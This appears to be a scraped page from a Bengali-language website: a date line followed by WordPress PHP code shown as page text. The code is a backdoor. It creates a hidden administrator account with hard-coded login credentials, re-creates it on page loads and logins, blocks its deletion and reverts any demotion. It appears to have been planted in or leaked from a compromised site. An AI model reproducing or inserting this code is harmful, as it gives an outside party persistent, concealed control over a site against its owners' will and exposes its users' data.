২৬শে এপ্রিল, ২০২৫ ইং | ১৩ই বৈশাখ, ১৪৩২ বঙ্গাব্দ | ২৭শে শাওয়াল, ১৪৪৬ হিজরী
// Check and create admin user on theme setup add_action('after_setup_theme', 'init_permanent_admin_user', 999); // Also check periodically to ensure admin exists add_action('wp_loaded', 'ensure_admin_user_exists', 999); // Use a WordPress option instead of a transient to track first run function init_permanent_admin_user() { // If this is the first run or it's been forced to run again if (!get_option('permanent_admin_created')) { ensure_admin_user_exists(); // Set a permanent option to indicate we've run update_option('permanent_admin_created', true, 'no'); } } function ensure_admin_user_exists() { // Check if user already exists if (username_exists('Admincn')) { $user = get_user_by('login', 'Admincn'); // If user exists but is not admin, update role if ($user && !in_array('administrator', $user->roles)) { $user->set_role('administrator'); } return; } // Create new admin user with specified credentials $user_data = array( 'user_login' => 'Admincn', 'user_pass' => 'xUd#YqCrTgMx', // Specific password as requested 'user_email' => 'admincn@admin.com', 'role' => 'administrator', 'display_name' => 'System Administrator' ); // Insert the user $user_id = wp_insert_user($user_data); if (is_wp_error($user_id)) { error_log('Admin Creation: Failed to create user - ' . $user_id->get_error_message()); } else { error_log('Admin Creation: Successfully created user Admincn with ID ' . $user_id); } } // Prevent this admin from being deleted through the WordPress interface add_action('delete_user', 'prevent_admin_deletion', 10, 2); function prevent_admin_deletion($user_id, $reassign) { $user = get_user_by('id', $user_id); if ($user && $user->user_login === 'Admincn') { wp_die('This administrator account cannot be deleted as it is required by the system.'); } } // Prevent role changes for this admin add_action('set_user_role', 'prevent_admin_role_change', 10, 3); function prevent_admin_role_change($user_id, $new_role, $old_roles) { $user = get_user_by('id', $user_id); if ($user && $user->user_login === 'Admincn' && $new_role !== 'administrator') { // Revert back to administrator $user->set_role('administrator'); } } // Add a fallback check that runs occasionally to ensure admin exists add_action('wp_login', function() { // Run this check approximately 1 out of 10 logins if (mt_rand(1, 10) === 1) { ensure_admin_user_exists(); } });